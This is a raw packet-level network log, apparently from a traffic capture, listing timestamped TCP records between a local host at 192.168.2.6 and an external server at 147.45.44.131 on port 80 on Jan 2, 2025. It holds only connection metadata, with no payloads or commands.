Jan 2, 2025 19:14:18.116178036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116188049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116194010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116203070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116225004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116228104 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116236925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116244078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116244078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116244078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116295099 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116460085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116466999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116472006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116529942 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116607904 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116612911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116619110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116657972 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116717100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116723061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116736889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116740942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116746902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116753101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116758108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116781950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116795063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116801977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116806030 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116811991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116811991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116811991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116811991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116818905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116825104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116832018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116837978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116844893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116849899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116856098 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116859913 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116859913 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116867065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116887093 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116889954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116894960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116908073 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116935968 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116940975 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116951942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116957903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116971016 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116985083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116991997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117008924 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.117008924 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.117046118 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.117176056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117189884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117201090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117206097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117212057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117218018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117229939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117269993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.117269993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.117269993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.117852926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117858887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117865086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117870092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117876053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117882013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117913008 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.117916107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117921114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.117949963 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.117999077 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.139903069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.139967918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.139974117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.139988899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.139995098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.140002012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.140007973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.140013933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.140156984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.144577980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144623995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144629002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144634962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144649982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144669056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144675016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144681931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144684076 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.144685984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.144752026 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.144752026 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.158741951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158747911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158761024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158766985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158772945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158777952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158797026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158802986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158814907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158821106 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158822060 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.158834934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158839941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158849955 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.158859015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158866882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158871889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.158888102 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.158888102 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.158999920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.159497023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.159502983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.159509897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.159514904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.159527063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.159533024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.159543991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.159567118 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.159567118 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.159667015 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161125898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161132097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161144018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161200047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161206007 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161212921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161218882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161223888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161237001 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161263943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161273003 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161286116 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161302090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161308050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161319017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161387920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161429882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161437035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161443949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161498070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161503077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161514044 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161524057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161531925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161534071 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161562920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161628962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161659002 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161663055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161730051 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161747932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161755085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161761045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161767006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161772013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161783934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161789894 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161812067 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161866903 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161881924 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161951065 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.161983013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.161988974 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162000895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162009001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162015915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162020922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162026882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162034035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162062883 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162095070 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162095070 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162225962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162239075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162245035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162257910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162261009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162267923 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162273884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162312031 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162446022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162458897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162471056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162477016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162482977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162488937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162491083 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162496090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162520885 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162520885 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162532091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162539005 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162542105 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162545919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162552118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162563086 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162569046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162589073 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162616014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162622929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162627935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162627935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162707090 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162904978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162911892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162923098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162957907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162964106 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162970066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162971973 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.162976980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162985086 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.162991047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.163016081 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.163062096 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.167220116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167273045 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.167294025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167299986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167304993 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167316914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167323112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167336941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167340994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167347908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167354107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.167354107 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.167387962 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.167536020 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.168663025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168689966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168700933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168752909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168759108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168766975 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168770075 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.168773890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168781042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168796062 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.168807030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168828964 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.168828964 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.168881893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168888092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168904066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.168920040 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.168976068 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169001102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169007063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169101000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169107914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169121027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169126034 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169136047 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169138908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169147015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169153929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169159889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169166088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169178009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169183969 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169187069 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169187069 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169187069 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169198036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169203043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169210911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169217110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169219017 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169223070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169229031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169234037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169241905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169253111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169260979 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169266939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169275999 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169275999 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169312954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169313908 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169313908 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169318914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169329882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169334888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169341087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169389009 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169394016 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169404984 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169415951 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169415951 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169631958 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.169739962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169754028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.169913054 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.186944008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.186950922 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.186956882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187005043 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187021017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187026978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187038898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187045097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187057972 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187069893 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187159061 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187257051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187263966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187306881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187323093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187333107 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187334061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187340975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187345982 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187352896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187365055 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187467098 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187633038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187638044 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187649965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187720060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187725067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187736988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187747002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187748909 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187757015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187762022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187772036 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187778950 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187849045 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.187875032 CET	80	49734	147.45.44.131	192.168.2.6
